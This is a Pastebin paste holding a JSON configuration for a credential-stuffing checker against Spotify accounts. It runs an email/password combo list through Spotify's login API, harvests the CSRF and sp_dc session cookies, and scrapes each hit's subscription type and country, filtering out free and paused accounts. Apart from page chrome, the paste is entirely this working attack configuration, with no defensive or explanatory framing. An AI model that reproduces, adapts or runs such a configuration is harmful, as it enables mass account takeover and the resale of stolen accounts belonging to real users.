Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- {
- "General": {
- "name": "Spotify",
- "proxyType": "Proxyless",
- "comboType": "Email/Username:Password",
- "threads": 5
- },
- "Requests": [
- {
- "type": "sendToNextRequest",
- "actionUrl": "https://accounts.spotify.com/en/login?continue=https:%2F%2Fwww.spotify.com%2Fus%2Faccount%2Foverview%2F",
- "method": "GET",
- "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
- "contentType": "",
- "accept": "",
- "referer": "",
- "successKeys": [
- "Spotify</title>"
- ],
- "returnObjects": [
- {
- "name": "csrf_token",
- "type": "Cookie",
- "cookie": "csrf_token",
- "usedFor": "postData"
- },
- {
- "name": "csrf_token",
- "type": "Cookie",
- "cookie": "csrf_token",
- "usedFor": "cookies"
- }
- ]
- },
- {
- "type": "sendToNextRequest",
- "actionUrl": "https://accounts.spotify.com/api/login",
- "method": "POST",
- "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
- "contentType": "application/x-www-form-urlencoded",
- "accept": "application/json, text/plain, */*",
- "referer": "",
- "postData": "remember=true&username=<USER>&password=<PASS>&csrf_token=+csrf_token+",
- "cookies": [
- {
- "name": "csrf_token",
- "value": "+csrf_token+"
- },
- {
- "name": "__bon",
- "value": "MHwwfC0xNDAxNTMwNDkzfC01ODg2NDI4MDcwNnwxfDF8MXwx"
- }
- ],
- "successKeys": [
- "displayName"
- ],
- "failureKeys": [
- "errorInvalidCredentials",
- "Unexpected status: 400"
- ],
- "returnObjects": [
- {
- "name": "sp_dc",
- "type": "Cookie",
- "cookie": "sp_dc",
- "usedFor": "cookies"
- }
- ]
- },
- {
- "type": "CaptureProcessing",
- "actionUrl": "https://www.spotify.com/us/account/overview/",
- "method": "POST",
- "userAgent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36",
- "contentType": "",
- "accept": "",
- "referer": "",
- "postData": "remember=true&username=<USER>&password=<PASS>&csrf_token=+csrf_token+",
- "cookies": [
- {
- "name": "sp_dc",
- "value": "+sp_dc+"
- }
- ],
- "successKeys": [
- "<h1>Account overview</h1>"
- ],
- "failureKeys": [
- "Spotify Free",
- "Premium Paused"
- ],
- "captureParse": {
- "patterns": [
- {
- "pattern": '<div class="well card subscription .*>(.*)<\/h3>',
- "returnString": "+1+, "
- },
- {
- "pattern": '<p class="form-control-static" id="card-profile-country">([^<]*)',
- "returnString": "(+1+)"
- }
- ]
- }
- }
- ]
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement